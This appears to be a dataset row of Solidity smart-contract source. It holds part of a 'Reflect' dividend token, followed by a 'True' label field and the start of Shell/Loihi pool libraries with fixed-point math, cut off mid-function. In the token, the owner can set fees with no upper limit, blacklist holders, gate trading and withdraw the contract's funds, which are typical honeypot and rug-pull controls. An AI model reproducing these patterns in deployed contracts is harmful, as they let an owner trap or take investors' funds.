IUniswapV2Router02 _uniswapV2Router = IUniswapV2Router02(UNISWAPROUTER);
address _uniswapV2Pair = IUniswapV2Factory(_uniswapV2Router.factory())
.createPair(address(this), _uniswapV2Router.WETH());
uniswapV2Router = _uniswapV2Router;
uniswapV2Pair = _uniswapV2Pair;
_setAutomatedMarketMakerPair(_uniswapV2Pair, true);
dividendTracker.excludeFromDividends(address(dividendTracker), true);
dividendTracker.excludeFromDividends(address(this), true);
dividendTracker.excludeFromDividends(owner(), true);
dividendTracker.excludeFromDividends(address(_uniswapV2Router), true);
excludeFromFees(owner(), true);
excludeFromFees(address(this), true);
excludeFromFees(address(dividendTracker), true);
excludeFromMaxTx(owner(), true);
excludeFromMaxTx(address(this), true);
excludeFromMaxTx(address(dividendTracker), true);
excludeFromMaxWallet(owner(), true);
excludeFromMaxWallet(address(this), true);
excludeFromMaxWallet(address(dividendTracker), true);
_mint(owner(), 1000000000 * (10**18));
}
receive() external payable {}
function name() public view returns (string memory) {
return _name;
}
function symbol() public view returns (string memory) {
return _symbol;
}
function decimals() public pure returns (uint8) {
return 18;
}
function totalSupply() public view virtual override returns (uint256) {
return _totalSupply;
}
function balanceOf(address account)
public
view
virtual
override
returns (uint256)
{
return _balances[account];
}
function allowance(address owner, address spender)
public
view
virtual
override
returns (uint256)
{
return _allowances[owner][spender];
}
function approve(address spender, uint256 amount)
public
virtual
override
returns (bool)
{
_approve(_msgSender(), spender, amount);
return true;
}
function increaseAllowance(address spender, uint256 addedValue)
public
returns (bool)
{
_approve(
_msgSender(),
spender,
_allowances[_msgSender()][spender] + addedValue
);
return true;
}
function decreaseAllowance(address spender, uint256 subtractedValue)
public
returns (bool)
{
uint256 currentAllowance = _allowances[_msgSender()][spender];
require(
currentAllowance >= subtractedValue,
"Reflect: decreased allowance below zero"
);
_approve(_msgSender(), spender, currentAllowance - subtractedValue);
return true;
}
function transfer(address recipient, uint256 amount)
public
virtual
override
returns (bool)
{
_transfer(_msgSender(), recipient, amount);
return true;
}
function transferFrom(
address sender,
address recipient,
uint256 amount
) public virtual override returns (bool) {
_transfer(sender, recipient, amount);
uint256 currentAllowance = _allowances[sender][_msgSender()];
require(
currentAllowance >= amount,
"Reflect: transfer amount exceeds allowance"
);
_approve(sender, _msgSender(), currentAllowance - amount);
return true;
}
function openTrading() external onlyOwner {
isOpen = true;
}
function _transfer(
address sender,
address recipient,
uint256 amount
) internal {
require(
isOpen ||
sender == owner() ||
recipient == owner() ||
_whiteList[sender] ||
_whiteList[recipient],
"Not Open"
);
require(!isBlacklisted[sender], "Reflect: Sender is blacklisted");
require(!isBlacklisted[recipient], "Reflect: Recipient is blacklisted");
require(sender != address(0), "Reflect: transfer from the zero address");
require(recipient != address(0), "Reflect: transfer to the zero address");
uint256 _maxTxAmount = (totalSupply() * maxTxBPS) / 10000;
uint256 _maxWallet = (totalSupply() * maxWalletBPS) / 10000;
require(
amount <= _maxTxAmount || _isExcludedFromMaxTx[sender],
"TX Limit Exceeded"
);
if (
sender != owner() &&
recipient != address(this) &&
recipient != address(DEAD) &&
recipient != uniswapV2Pair
) {
uint256 currentBalance = balanceOf(recipient);
require(
_isExcludedFromMaxWallet[recipient] ||
(currentBalance + amount <= _maxWallet)
);
}
uint256 senderBalance = _balances[sender];
require(
senderBalance >= amount,
"Reflect: transfer amount exceeds balance"
);
uint256 contractTokenBalance = balanceOf(address(this));
uint256 contractNativeBalance = address(this).balance;
bool canSwap = contractTokenBalance >= swapTokensAtAmount;
if (
swapEnabled && // True
canSwap && // true
!swapping && // swapping=false !false true
!automatedMarketMakerPairs[sender] && // no swap on remove liquidity step 1 or DEX buy
sender != address(uniswapV2Router) && // no swap on remove liquidity step 2
sender != owner() &&
recipient != owner()
) {
swapping = true;
if (!swapAllToken) {
contractTokenBalance = swapTokensAtAmount;
}
_executeSwap(contractTokenBalance, contractNativeBalance);
lastSwapTime = block.timestamp;
swapping = false;
}
bool takeFee;
if (
sender == address(uniswapV2Pair) ||
recipient == address(uniswapV2Pair)
) {
takeFee = true;
}
if (_isExcludedFromFees[sender] || _isExcludedFromFees[recipient]) {
takeFee = false;
}
if (swapping || !taxEnabled) {
takeFee = false;
}
if (takeFee) {
uint256 fees = (amount * totalFeeBPS) / 10000;
amount -= fees;
_executeTransfer(sender, address(this), fees);
}
_executeTransfer(sender, recipient, amount);
dividendTracker.setBalance(payable(sender), balanceOf(sender));
dividendTracker.setBalance(payable(recipient), balanceOf(recipient));
}
function _executeTransfer(
address sender,
address recipient,
uint256 amount
) private {
require(sender != address(0), "Reflect: transfer from the zero address");
require(recipient != address(0), "Reflect: transfer to the zero address");
uint256 senderBalance = _balances[sender];
require(
senderBalance >= amount,
"Reflect: transfer amount exceeds balance"
);
_balances[sender] = senderBalance - amount;
_balances[recipient] += amount;
emit Transfer(sender, recipient, amount);
}
function _approve(
address owner,
address spender,
uint256 amount
) private {
require(owner != address(0), "Reflect: approve from the zero address");
require(spender != address(0), "Reflect: approve to the zero address");
_allowances[owner][spender] = amount;
emit Approval(owner, spender, amount);
}
function _mint(address account, uint256 amount) private {
require(account != address(0), "Reflect: mint to the zero address");
_totalSupply += amount;
_balances[account] += amount;
emit Transfer(address(0), account, amount);
}
function _burn(address account, uint256 amount) private {
require(account != address(0), "Reflect: burn from the zero address");
uint256 accountBalance = _balances[account];
require(accountBalance >= amount, "Reflect: burn amount exceeds balance");
_balances[account] = accountBalance - amount;
_totalSupply -= amount;
emit Transfer(account, address(0), amount);
}
function swapTokensForNative(uint256 tokens) private {
address[] memory path = new address[](2);
path[0] = address(this);
path[1] = uniswapV2Router.WETH();
_approve(address(this), address(uniswapV2Router), tokens);
uniswapV2Router.swapExactTokensForETHSupportingFeeOnTransferTokens(
tokens,
0, // accept any amount of native
path,
address(this),
block.timestamp
);
}
function addLiquidity(uint256 tokens, uint256 native) private {
_approve(address(this), address(uniswapV2Router), tokens);
uniswapV2Router.addLiquidityETH{value: native}(
address(this),
tokens,
0, // slippage unavoidable
0, // slippage unavoidable
liquidityWallet,
block.timestamp
);
}
function includeToWhiteList(address[] memory _users) private {
for (uint8 i = 0; i < _users.length; i++) {
_whiteList[_users[i]] = true;
}
}
function _executeSwap(uint256 tokens, uint256 native) private {
if (tokens <= 0) {
return;
}
uint256 swapTokensMarketing;
if (address(marketingWallet) != address(0)) {
swapTokensMarketing = (tokens * treasuryFeeBPS) / totalFeeBPS;
}
uint256 swapTokensDividends;
if (dividendTracker.totalSupply() > 0) {
swapTokensDividends = (tokens * dividendFeeBPS) / totalFeeBPS;
}
uint256 tokensForLiquidity = tokens -
swapTokensMarketing -
swapTokensDividends;
uint256 swapTokensLiquidity = tokensForLiquidity / 2;
uint256 addTokensLiquidity = tokensForLiquidity - swapTokensLiquidity;
uint256 swapTokensTotal = swapTokensMarketing +
swapTokensDividends +
swapTokensLiquidity;
uint256 initNativeBal = address(this).balance;
swapTokensForNative(swapTokensTotal);
uint256 nativeSwapped = (address(this).balance - initNativeBal) +
native;
uint256 nativeMarketing = (nativeSwapped * swapTokensMarketing) /
swapTokensTotal;
uint256 nativeDividends = (nativeSwapped * swapTokensDividends) /
swapTokensTotal;
uint256 nativeLiquidity = nativeSwapped -
nativeMarketing -
nativeDividends;
if (nativeMarketing > 0) {
payable(marketingWallet).transfer(nativeMarketing);
}
addLiquidity(addTokensLiquidity, nativeLiquidity);
emit SwapAndAddLiquidity(
swapTokensLiquidity,
nativeLiquidity,
addTokensLiquidity
);
if (nativeDividends > 0) {
(bool success, ) = address(dividendTracker).call{
value: nativeDividends
}("");
if (success) {
emit SendDividends(swapTokensDividends, nativeDividends);
}
}
}
function excludeFromFees(address account, bool excluded) public onlyOwner {
require(
_isExcludedFromFees[account] != excluded,
"Reflect: account is already set to requested state"
);
_isExcludedFromFees[account] = excluded;
emit ExcludeFromFees(account, excluded);
}
function isExcludedFromFees(address account) public view returns (bool) {
return _isExcludedFromFees[account];
}
function manualSendDividend(uint256 amount, address holder)
external
onlyOwner
{
dividendTracker.manualSendDividend(amount, holder);
}
function excludeFromDividends(address account, bool excluded)
public
onlyOwner
{
dividendTracker.excludeFromDividends(account, excluded);
}
function isExcludedFromDividends(address account)
public
view
returns (bool)
{
return dividendTracker.isExcludedFromDividends(account);
}
function setWallet(
address payable _marketingWallet,
address payable _liquidityWallet
) external onlyOwner {
marketingWallet = _marketingWallet;
liquidityWallet = _liquidityWallet;
}
function setAutomatedMarketMakerPair(address pair, bool value)
public
onlyOwner
{
require(pair != uniswapV2Pair, "Reflect: DEX pair can not be removed");
_setAutomatedMarketMakerPair(pair, value);
}
function setFee(
uint256 _treasuryFee,
uint256 _liquidityFee,
uint256 _dividendFee
) external onlyOwner {
treasuryFeeBPS = _treasuryFee;
liquidityFeeBPS = _liquidityFee;
dividendFeeBPS = _dividendFee;
totalFeeBPS = _treasuryFee + _liquidityFee + _dividendFee;
}
function _setAutomatedMarketMakerPair(address pair, bool value) private {
require(
automatedMarketMakerPairs[pair] != value,
"Reflect: automated market maker pair is already set to that value"
);
automatedMarketMakerPairs[pair] = value;
if (value) {
dividendTracker.excludeFromDividends(pair, true);
}
emit SetAutomatedMarketMakerPair(pair, value);
}
function updateUniswapV2Router(address newAddress) public onlyOwner {
require(
newAddress != address(uniswapV2Router),
"Reflect: the router is already set to the new address"
);
emit UpdateUniswapV2Router(newAddress, address(uniswapV2Router));
uniswapV2Router = IUniswapV2Router02(newAddress);
address _uniswapV2Pair = IUniswapV2Factory(uniswapV2Router.factory())
.createPair(address(this), uniswapV2Router.WETH());
uniswapV2Pair = _uniswapV2Pair;
}
function claim() public {
dividendTracker.processAccount(payable(_msgSender()));
}
function compound() public {
require(compoundingEnabled, "Reflect: compounding is not enabled");
dividendTracker.compoundAccount(payable(_msgSender()));
}
function withdrawableDividendOf(address account)
public
view
returns (uint256)
{
return dividendTracker.withdrawableDividendOf(account);
}
function withdrawnDividendOf(address account)
public
view
returns (uint256)
{
return dividendTracker.withdrawnDividendOf(account);
}
function accumulativeDividendOf(address account)
public
view
returns (uint256)
{
return dividendTracker.accumulativeDividendOf(account);
}
function getAccountInfo(address account)
public
view
returns (
address,
uint256,
uint256,
uint256,
uint256
)
{
return dividendTracker.getAccountInfo(account);
}
function getLastClaimTime(address account) public view returns (uint256) {
return dividendTracker.getLastClaimTime(account);
}
function setSwapEnabled(bool _enabled) external onlyOwner {
swapEnabled = _enabled;
emit SwapEnabled(_enabled);
}
function setTaxEnabled(bool _enabled) external onlyOwner {
taxEnabled = _enabled;
emit TaxEnabled(_enabled);
}
function setCompoundingEnabled(bool _enabled) external onlyOwner {
compoundingEnabled = _enabled;
emit CompoundingEnabled(_enabled);
}
function updateDividendSettings(
bool _swapEnabled,
uint256 _swapTokensAtAmount,
bool _swapAllToken
) external onlyOwner {
swapEnabled = _swapEnabled;
swapTokensAtAmount = _swapTokensAtAmount;
swapAllToken = _swapAllToken;
}
function setMaxTxBPS(uint256 bps) external onlyOwner {
require(bps >= 75 && bps <= 10000, "BPS must be between 75 and 10000");
maxTxBPS = bps;
}
function excludeFromMaxTx(address account, bool excluded) public onlyOwner {
_isExcludedFromMaxTx[account] = excluded;
}
function isExcludedFromMaxTx(address account) public view returns (bool) {
return _isExcludedFromMaxTx[account];
}
function setMaxWalletBPS(uint256 bps) external onlyOwner {
require(
bps >= 175 && bps <= 10000,
"BPS must be between 175 and 10000"
);
maxWalletBPS = bps;
}
function excludeFromMaxWallet(address account, bool excluded)
public
onlyOwner
{
_isExcludedFromMaxWallet[account] = excluded;
}
function isExcludedFromMaxWallet(address account)
public
view
returns (bool)
{
return _isExcludedFromMaxWallet[account];
}
function rescueToken(address _token, uint256 _amount) external onlyOwner {
IERC20(_token).transfer(msg.sender, _amount);
}
function rescueETH(uint256 _amount) external onlyOwner {
payable(msg.sender).transfer(_amount);
}
function blackList(address _user) public onlyOwner {
require(!isBlacklisted[_user], "user already blacklisted");
isBlacklisted[_user] = true;
// events?
}
function removeFromBlacklist(address _user) public onlyOwner {
require(isBlacklisted[_user], "user already whitelisted");
isBlacklisted[_user] = false;
//events?
}
function blackListMany(address[] memory _users) public onlyOwner {
for (uint8 i = 0; i < _users.length; i++) {
isBlacklisted[_users[i]] = true;
}
}
function unBlackListMany(address[] memory _users) public onlyOwner {
for (uint8 i = 0; i < _users.length; i++) {
isBlacklisted[_users[i]] = false;
}
}
}
contract DividendTracker is Ownable, IERC20 {
address UNISWAPROUTER;
string private _name = "Reflect_DividendTracker";
string private _symbol = "Reflect_DividendTracker";
uint256 public lastProcessedIndex;
uint256 private _totalSupply;
mapping(address => uint256) private _balances;
uint256 private constant magnitude = 2**128;
uint256 public immutable minTokenBalanceForDividends;
uint256 private magnifiedDividendPerShare;
uint256 public totalDividendsDistributed;
uint256 public totalDividendsWithdrawn;
address public tokenAddress;
mapping(address => bool) public excludedFromDividends;
mapping(address => int256) private magnifiedDividendCorrections;
mapping(address => uint256) private withdrawnDividends;
mapping(address => uint256) private lastClaimTimes;
event DividendsDistributed(address indexed from, uint256 weiAmount);
event DividendWithdrawn(address indexed to, uint256 weiAmount);
event ExcludeFromDividends(address indexed account, bool excluded);
event Claim(address indexed account, uint256 amount);
event Compound(address indexed account, uint256 amount, uint256 tokens);
struct AccountInfo {
address account;
uint256 withdrawableDividends;
uint256 totalDividends;
uint256 lastClaimTime;
}
constructor(address _tokenAddress, address _uniswapRouter) {
minTokenBalanceForDividends = 10000 * (10**18);
tokenAddress = _tokenAddress;
UNISWAPROUTER = _uniswapRouter;
}
receive() external payable {
distributeDividends();
}
function distributeDividends() public payable {
require(_totalSupply > 0);
if (msg.value > 0) {
magnifiedDividendPerShare =
magnifiedDividendPerShare +
((msg.value * magnitude) / _totalSupply);
emit DividendsDistributed(msg.sender, msg.value);
totalDividendsDistributed += msg.value;
}
}
function setBalance(address payable account, uint256 newBalance)
external
onlyOwner
{
if (excludedFromDividends[account]) {
return;
}
if (newBalance >= minTokenBalanceForDividends) {
_setBalance(account, newBalance);
} else {
_setBalance(account, 0);
}
}
function excludeFromDividends(address account, bool excluded)
external
onlyOwner
{
require(
excludedFromDividends[account] != excluded,
"Reflect_DividendTracker: account already set to requested state"
);
excludedFromDividends[account] = excluded;
if (excluded) {
_setBalance(account, 0);
} else {
uint256 newBalance = IERC20(tokenAddress).balanceOf(account);
if (newBalance >= minTokenBalanceForDividends) {
_setBalance(account, newBalance);
} else {
_setBalance(account, 0);
}
}
emit ExcludeFromDividends(account, excluded);
}
function isExcludedFromDividends(address account)
public
view
returns (bool)
{
return excludedFromDividends[account];
}
function manualSendDividend(uint256 amount, address holder)
external
onlyOwner
{
uint256 contractETHBalance = address(this).balance;
payable(holder).transfer(amount > 0 ? amount : contractETHBalance);
}
function _setBalance(address account, uint256 newBalance) internal {
uint256 currentBalance = _balances[account];
if (newBalance > currentBalance) {
uint256 addAmount = newBalance - currentBalance;
_mint(account, addAmount);
} else if (newBalance < currentBalance) {
uint256 subAmount = currentBalance - newBalance;
_burn(account, subAmount);
}
}
function _mint(address account, uint256 amount) private {
require(
account != address(0),
"Reflect_DividendTracker: mint to the zero address"
);
_totalSupply += amount;
_balances[account] += amount;
emit Transfer(address(0), account, amount);
magnifiedDividendCorrections[account] =
magnifiedDividendCorrections[account] -
int256(magnifiedDividendPerShare * amount);
}
function _burn(address account, uint256 amount) private {
require(
account != address(0),
"Reflect_DividendTracker: burn from the zero address"
);
uint256 accountBalance = _balances[account];
require(
accountBalance >= amount,
"Reflect_DividendTracker: burn amount exceeds balance"
);
_balances[account] = accountBalance - amount;
_totalSupply -= amount;
emit Transfer(account, address(0), amount);
magnifiedDividendCorrections[account] =
magnifiedDividendCorrections[account] +
int256(magnifiedDividendPerShare * amount);
}
function processAccount(address payable account)
public
onlyOwner
returns (bool)
{
uint256 amount = _withdrawDividendOfUser(account);
if (amount > 0) {
lastClaimTimes[account] = block.timestamp;
emit Claim(account, amount);
return true;
}
return false;
}
function _withdrawDividendOfUser(address payable account)
private
returns (uint256)
{
uint256 _withdrawableDividend = withdrawableDividendOf(account);
if (_withdrawableDividend > 0) {
withdrawnDividends[account] += _withdrawableDividend;
totalDividendsWithdrawn += _withdrawableDividend;
emit DividendWithdrawn(account, _withdrawableDividend);
(bool success, ) = account.call{
value: _withdrawableDividend,
gas: 3000
}("");
if (!success) {
withdrawnDividends[account] -= _withdrawableDividend;
totalDividendsWithdrawn -= _withdrawableDividend;
return 0;
}
return _withdrawableDividend;
}
return 0;
}
function compoundAccount(address payable account)
public
onlyOwner
returns (bool)
{
(uint256 amount, uint256 tokens) = _compoundDividendOfUser(account);
if (amount > 0) {
lastClaimTimes[account] = block.timestamp;
emit Compound(account, amount, tokens);
return true;
}
return false;
}
function _compoundDividendOfUser(address payable account)
private
returns (uint256, uint256)
{
uint256 _withdrawableDividend = withdrawableDividendOf(account);
if (_withdrawableDividend > 0) {
withdrawnDividends[account] += _withdrawableDividend;
totalDividendsWithdrawn += _withdrawableDividend;
emit DividendWithdrawn(account, _withdrawableDividend);
IUniswapV2Router02 uniswapV2Router = IUniswapV2Router02(
UNISWAPROUTER
);
address[] memory path = new address[](2);
path[0] = uniswapV2Router.WETH();
path[1] = address(tokenAddress);
bool success;
uint256 tokens;
uint256 initTokenBal = IERC20(tokenAddress).balanceOf(account);
try
uniswapV2Router
.swapExactETHForTokensSupportingFeeOnTransferTokens{
value: _withdrawableDividend
}(0, path, address(account), block.timestamp)
{
success = true;
tokens = IERC20(tokenAddress).balanceOf(account) - initTokenBal;
} catch Error(
string memory /*err*/
) {
success = false;
}
if (!success) {
withdrawnDividends[account] -= _withdrawableDividend;
totalDividendsWithdrawn -= _withdrawableDividend;
return (0, 0);
}
return (_withdrawableDividend, tokens);
}
return (0, 0);
}
function withdrawableDividendOf(address account)
public
view
returns (uint256)
{
return accumulativeDividendOf(account) - withdrawnDividends[account];
}
function withdrawnDividendOf(address account)
public
view
returns (uint256)
{
return withdrawnDividends[account];
}
function accumulativeDividendOf(address account)
public
view
returns (uint256)
{
int256 a = int256(magnifiedDividendPerShare * balanceOf(account));
int256 b = magnifiedDividendCorrections[account]; // this is an explicit int256 (signed)
return uint256(a + b) / magnitude;
}
function getAccountInfo(address account)
public
view
returns (
address,
uint256,
uint256,
uint256,
uint256
)
{
AccountInfo memory info;
info.account = account;
info.withdrawableDividends = withdrawableDividendOf(account);
info.totalDividends = accumulativeDividendOf(account);
info.lastClaimTime = lastClaimTimes[account];
return (
info.account,
info.withdrawableDividends,
info.totalDividends,
info.lastClaimTime,
totalDividendsWithdrawn
);
}
function getLastClaimTime(address account) public view returns (uint256) {
return lastClaimTimes[account];
}
function name() public view returns (string memory) {
return _name;
}
function symbol() public view returns (string memory) {
return _symbol;
}
function decimals() public pure returns (uint8) {
return 18;
}
function totalSupply() public view override returns (uint256) {
return _totalSupply;
}
function balanceOf(address account) public view override returns (uint256) {
return _balances[account];
}
function transfer(address, uint256) public pure override returns (bool) {
revert("Reflect_DividendTracker: method not implemented");
}
function allowance(address, address)
public
pure
override
returns (uint256)
{
revert("Reflect_DividendTracker: method not implemented");
}
function approve(address, uint256) public pure override returns (bool) {
revert("Reflect_DividendTracker: method not implemented");
}
function transferFrom(
address,
address,
uint256
) public pure override returns (bool) {
revert("Reflect_DividendTracker: method not implemented");
}
} | True | [
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2724,
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] | [
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] |
pragma solidity ^0.5.0;
library ViewLiquidity {
using ABDKMath64x64 for int128;
function viewLiquidity (
LoihiStorage.Shell storage shell
) external view returns (
uint total_,
uint[] memory individual_
) {
uint _length = shell.assets.length;
uint[] memory individual_ = new uint[](_length);
uint total_;
for (uint i = 0; i < _length; i++) {
uint _liquidity = Assimilators.viewNumeraireBalance(shell.assets[i].addr).mulu(1e18);
total_ += _liquidity;
individual_[i] = _liquidity;
}
return (total_, individual_);
}
}
library Assimilators {
using ABDKMath64x64 for int128;
IAssimilator constant iAsmltr = IAssimilator(address(0));
function delegate(address _callee, bytes memory _data) internal returns (bytes memory) {
(bool _success, bytes memory returnData_) = _callee.delegatecall(_data);
assembly { if eq(_success, 0) { revert(add(returnData_, 0x20), returndatasize()) } }
return returnData_;
}
function viewRawAmount (address _assim, int128 _amt) internal view returns (uint256 amount_) {
amount_ = IAssimilator(_assim).viewRawAmount(_amt);
}
function viewNumeraireAmount (address _assim, uint256 _amt) internal view returns (int128 amt_) {
amt_ = IAssimilator(_assim).viewNumeraireAmount(_amt);
}
function viewNumeraireAmountAndBalance (address _assim, uint256 _amt) internal view returns (int128 amt_, int128 bal_) {
( amt_, bal_ ) = IAssimilator(_assim).viewNumeraireAmountAndBalance(address(this), _amt);
}
function viewNumeraireBalance (address _assim) internal view returns (int128 bal_) {
bal_ = IAssimilator(_assim).viewNumeraireBalance(address(this));
}
function intakeRaw (address _assim, uint256 _amount) internal returns (int128 amt_) {
bytes memory data = abi.encodeWithSelector(iAsmltr.intakeRaw.selector, _amount);
amt_ = abi.decode(delegate(_assim, data), (int128));
}
function intakeRawAndGetBalance (address _assim, uint256 _amount) internal returns (int128 amt_, int128 bal_) {
bytes memory data = abi.encodeWithSelector(iAsmltr.intakeRawAndGetBalance.selector, _amount);
( amt_, bal_ ) = abi.decode(delegate(_assim, data), (int128,int128));
}
function intakeNumeraire (address _assim, int128 _amt) internal returns (uint256 rawAmt_) {
bytes memory data = abi.encodeWithSelector(iAsmltr.intakeNumeraire.selector, _amt);
rawAmt_ = abi.decode(delegate(_assim, data), (uint256));
}
function outputRaw (address _assim, address _dst, uint256 _amount) internal returns (int128 amt_ ) {
bytes memory data = abi.encodeWithSelector(iAsmltr.outputRaw.selector, _dst, _amount);
amt_ = abi.decode(delegate(_assim, data), (int128));
amt_ = amt_.neg();
}
function outputRawAndGetBalance (address _assim, address _dst, uint256 _amount) internal returns (int128 amt_, int128 bal_) {
bytes memory data = abi.encodeWithSelector(iAsmltr.outputRawAndGetBalance.selector, _dst, _amount);
( amt_, bal_ ) = abi.decode(delegate(_assim, data), (int128,int128));
amt_ = amt_.neg();
}
function outputNumeraire (address _assim, address _dst, int128 _amt) internal returns (uint256 rawAmt_) {
bytes memory data = abi.encodeWithSelector(iAsmltr.outputNumeraire.selector, _dst, _amt.abs());
rawAmt_ = abi.decode(delegate(_assim, data), (uint256));
}
}
interface IAssimilator {
function intakeRaw (uint256 amount) external returns (int128);
function intakeRawAndGetBalance (uint256 amount) external returns (int128, int128);
function intakeNumeraire (int128 amount) external returns (uint256);
function outputRaw (address dst, uint256 amount) external returns (int128);
function outputRawAndGetBalance (address dst, uint256 amount) external returns (int128, int128);
function outputNumeraire (address dst, int128 amount) external returns (uint256);
function viewRawAmount (int128) external view returns (uint256);
function viewNumeraireAmount (uint256) external view returns (int128);
function viewNumeraireBalance (address) external view returns (int128);
function viewNumeraireAmountAndBalance (address, uint256) external view returns (int128, int128);
}
contract LoihiStorage {
string public constant name = "Shells";
string public constant symbol = "SHL";
uint8 public constant decimals = 18;
struct Shell {
int128 alpha;
int128 beta;
int128 delta;
int128 epsilon;
int128 lambda;
int128 omega;
int128[] weights;
uint totalSupply;
mapping (address => uint) balances;
mapping (address => mapping (address => uint)) allowances;
Assimilator[] assets;
mapping (address => Assimilator) assimilators;
}
struct Assimilator {
address addr;
uint8 ix;
}
Shell public shell;
struct PartitionTicket {
uint[] claims;
bool initialized;
}
mapping (address => PartitionTicket) public partitionTickets;
address[] public derivatives;
address[] public numeraires;
address[] public reserves;
bool public partitioned = false;
bool public frozen = false;
address public owner;
bool internal notEntered = true;
uint public maxFee;
}
library ABDKMath64x64 {
/**
* Minimum value signed 64.64-bit fixed point number may have.
*/
int128 private constant MIN_64x64 = -0x80000000000000000000000000000000;
/**
* Maximum value signed 64.64-bit fixed point number may have.
*/
int128 private constant MAX_64x64 = 0x7FFFFFFFFFFFFFFFFFFFFFFFFFFFFFFF;
/**
* Convert signed 256-bit integer number into signed 64.64-bit fixed point
* number. Revert on overflow.
*
* @param x signed 256-bit integer number
* @return signed 64.64-bit fixed point number
*/
function fromInt (int256 x) internal pure returns (int128) {
require (x >= -0x8000000000000000 && x <= 0x7FFFFFFFFFFFFFFF);
return int128 (x << 64);
}
/**
* Convert signed 64.64 fixed point number into signed 64-bit integer number
* rounding down.
*
* @param x signed 64.64-bit fixed point number
* @return signed 64-bit integer number
*/
function toInt (int128 x) internal pure returns (int64) {
return int64 (x >> 64);
}
/**
* Convert unsigned 256-bit integer number into signed 64.64-bit fixed point
* number. Revert on overflow.
*
* @param x unsigned 256-bit integer number
* @return signed 64.64-bit fixed point number
*/
function fromUInt (uint256 x) internal pure returns (int128) {
require (x <= 0x7FFFFFFFFFFFFFFF);
return int128 (x << 64);
}
/**
* Convert signed 64.64 fixed point number into unsigned 64-bit integer
* number rounding down. Revert on underflow.
*
* @param x signed 64.64-bit fixed point number
* @return unsigned 64-bit integer number
*/
function toUInt (int128 x) internal pure returns (uint64) {
require (x >= 0);
return uint64 (x >> 64);
}
/**
* Convert signed 128.128 fixed point number into signed 64.64-bit fixed point
* number rounding down. Revert on overflow.
*
* @param x signed 128.128-bin fixed point number
* @return signed 64.64-bit fixed point number
*/
function from128x128 (int256 x) internal pure returns (int128) {
int256 result = x >> 64;
require (result >= MIN_64x64 && result <= MAX_64x64);
return int128 (result);
}
/**
* Convert signed 64.64 fixed point number into signed 128.128 fixed point
* number.
*
* @param x signed 64.64-bit fixed point number
* @return signed 128.128 fixed point number
*/
function to128x128 (int128 x) internal pure returns (int256) {
return int256 (x) << 64;
}
/**
* Calculate x + y. Revert on overflow.
*
* @param x signed 64.64-bit fixed point number
* @param y signed 64.64-bit fixed point number
* @return signed 64.64-bit fixed point number
*/
function add (int128 x, int128 y) internal pure returns (int128) {
int256 result = int256(x) + y;
require (result >= MIN_64x64 && result <= MAX_64x64);
return int128 (result);
}
/**
* Calculate x - y. Revert on overflow.
*
* @param x signed 64.64-bit fixed point number
* @param y signed 64.64-bit fixed point number
* @return signed 64.64-bit fixed point number
*/
function sub (int128 x, int128 y) internal pure returns (int128) {
int256 result = int256(x) - y;
require (result >= MIN_64x64 && result <= MAX_64x64);
return int128 (result);
}
/**
* Calculate x * y rounding down. Revert on overflow.
*
* @param x signed 64.64-bit fixed point number
* @param y signed 64.64-bit fixed point number
* @return signed 64.64-bit fixed point number
*/
function mul (int128 x, int128 y) internal pure returns (int128) {
int256 result = int256(x) * y >> 64;
require (result >= MIN_64x64 && result <= MAX_64x64);
return int128 (result);
}
/**
* Calculate x * y rounding towards zero, where x is signed 64.64 fixed point
* number and y is signed 256-bit integer number. Revert on overflow.
*
* @param x signed 64.64 fixed point number
* @param y signed 256-bit integer number
* @return signed 256-bit integer number
*/
function muli (int128 x, int256 y) internal pure returns (int256) {
if (x == MIN_64x64) {
require (y >= -0xFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFF &&
y <= 0x1000000000000000000000000000000000000000000000000);
return -y << 63;
} else {
bool negativeResult = false;
if (x < 0) {
x = -x;
negativeResult = true;
}
if (y < 0) {
y = -y; // We rely on overflow behavior here
negativeResult = !negativeResult;
}
uint256 absoluteResult = mulu (x, uint256 (y));
if (negativeResult) {
require (absoluteResult <=
0x8000000000000000000000000000000000000000000000000000000000000000);
return -int256 (absoluteResult); // We rely on overflow behavior here
} else {
require (absoluteResult <=
0x7FFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFF);
return int256 (absoluteResult);
}
}
}
/**
* Calculate x * y rounding down, where x is signed 64.64 fixed point number
* and y is unsigned 256-bit integer number. Revert on overflow.
*
* @param x signed 64.64 fixed point number
* @param y unsigned 256-bit integer number
* @return unsigned 256-bit integer number
*/
function mulu (int128 x, uint256 y) internal pure returns (uint256) {
if (y == 0) return 0;
require (x >= 0);
uint256 lo = (uint256 (x) * (y & 0xFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFF)) >> 64;
uint256 hi = uint256 (x) * (y >> 128);
require (hi <= 0xFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFF);
hi <<= 64;
require (hi <=
0xFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFF - lo);
return hi + lo;
}
/**
* Calculate x / y rounding towards zero. Revert on overflow or when y is
* zero.
*
* @param x signed 64.64-bit fixed point number
* @param y signed 64.64-bit fixed point number
* @return signed 64.64-bit fixed point number
*/
function div (int128 x, int128 y) internal pure returns (int128) {
require (y != 0);
int256 result = (int256 (x) << 64) / y;
require (result >= MIN_64x64 && result <= MAX_64x64);
return int128 (result);
}
/**
* Calculate x / y rounding towards zero, where x and y are signed 256-bit
* integer numbers. Revert on overflow or when y is zero.
*
* @param x signed 256-bit integer number
* @param y signed 256-bit integer number
* @return signed 64.64-bit fixed point number
*/
function divi (int256 x, int256 y) internal pure returns (int128) {
require (y != 0);
bool negativeResult = false;
if (x < 0) {
x = -x; // We rely on overflow behavior here
negativeResult = true;
}
if (y < 0) {
y = -y; // We rely on overflow behavior here
negativeResult = !negativeResult;
}
uint128 absoluteResult = divuu (uint256 (x), uint256 (y));
if (negativeResult) {
require (absoluteResult <= 0x80000000000000000000000000000000);
return -int128 (absoluteResult); // We rely on overflow behavior here
} else {
require (absoluteResult <= 0x7FFFFFFFFFFFFFFFFFFFFFFFFFFFFFFF);
return int128 (absoluteResult); // We rely on overflow behavior here
}
}
/**
* Calculate x / y rounding towards zero, where x and y are unsigned 256-bit
* integer numbers. Revert on overflow or when y is zero.
*
* @param x unsigned 256-bit integer number
* @param y unsigned 256-bit integer number
* @return signed 64.64-bit fixed point number
*/
function divu (uint256 x, uint256 y) internal pure returns (int128) {
require (y != 0);
